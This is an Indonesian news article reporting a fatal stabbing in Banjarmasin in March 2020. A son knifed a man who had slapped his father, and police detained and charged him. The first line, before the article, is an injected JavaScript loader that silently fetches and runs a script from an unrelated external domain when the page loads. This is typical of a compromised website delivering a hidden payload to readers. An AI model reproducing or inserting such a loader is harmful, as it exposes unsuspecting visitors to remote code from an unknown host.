(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Amarah Ludfi Rahman (27) membuat warga Jl Kampung Melayu Laut, Kelurahan Melayu, Banjarmasin Tengah ini, mengantarnya ke kantor polisi. Gara-gara tak terima melihat ayahnya M Ardi ditempeleng oleh korban Faisal Akbar (41), warga Jl Belitung Darat, Gang Keluarga, Kelurahan Belitung Selatan, Kecamatan Banjarmasin Barat, Ludfi pun mengambil pisau dapur dan menusukkan ke dada korban hingga tewas.
Kasus ini pun kini ditangani pihak Polsekta Banjarmasin Tengah. Pelaku pun kini sudah ditahan di Mapolsekta untuk mempertanggungjawabkan perbuatannya.
———-
PERHATIAN: Berita ini mengandung unsur kekerasan sebagai gambaran dari kronologi kasus pembunuhan. Rincian kejadian dimaksudkan untuk menjelaskan latar belakang perkara, bukan untuk menginspirasi aksi kejahatan serupa!
————
Korban Faisal yang mendapatkan tusukan mematikan di bagian dada tersebut, akhirnya menghembuskan nafas terakhir saat dibawa ke RSUD Ulin Banjarmasin.
Kapolsekta Banjarmasin Tengah Kompol Irwan Kurnadi, Senin (16/3/2020) mengatakan, peristiwa tersebut terjadidi depan rumah pelaku, di Jalan Kampung Melayu Laut, Minggu (15/3/2020) pukul 17.00 Wita. “Tersangka mengaku tega menusuk korban karena melihat ayahnya ditempeleng oleh korban,†katanya.
Peristiwa bermula saat ayah pelaku yang sedang ada di rumah, didatangi oleh korban. Tanpa tahu asal mula percakapan, tiba-tiba saja korban kemudian menempeleng M Ardi– ayah tersangka. Melihat ayahnya ditempeleng, tersangka pun kemudian mendatangi korban kenapa menempeleng ayahnya.
Sempat terjadi adu mulut antara tersangka dengan korban Faisal. Hingga kemudian Faisal meninggalkan rumah M Ardi dengan mengendarai sepeda motor.
Tapi, sekitar 5 menit kemudian, korban kembali datang. Melihat Faisal kembali ke rumahnya, Ludfi lari ke dalam rumah mengambil sebilah senjata tajam jenis pisau di dapur. Saat ayahnya berdiri di depan rumah, ia melihat korban duduk di atas sepeda motor.
Dari penuturan pelaku, saat itu ia melihat korban hendak mencabut senjata tajam dari pinggang sebelah kirinya. Mengetahui hal tersebut, Ludfi langsung menusukan senjata tajam ke dada korban sebanyak satu kali.
Usai mendapat luka tusuk, korban Faisal sempat pergi dengan berjalan kaki meninggalkan lokasi kejadian. Korban pun lantas ditolong oleh warga setempat untuk dibawa ke RSUD Ulin Banjarmasin, tapi sayang nyawanya tak tertolong.
Pasca kejadian, Ludfi ditangkap sekitar satu jam kemudian di rumahnya. “Tersangka dijerat sebagaimana dimaksud dengan pasal 338 dan atau pasal 351 Ayat (3) KUH Pidana,” terang Kapolsekta Banjarmasin Tengah Kompol Irwan Kurnadi.(Kanalkalimantan.com/Fikri)
KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
This website uses cookies.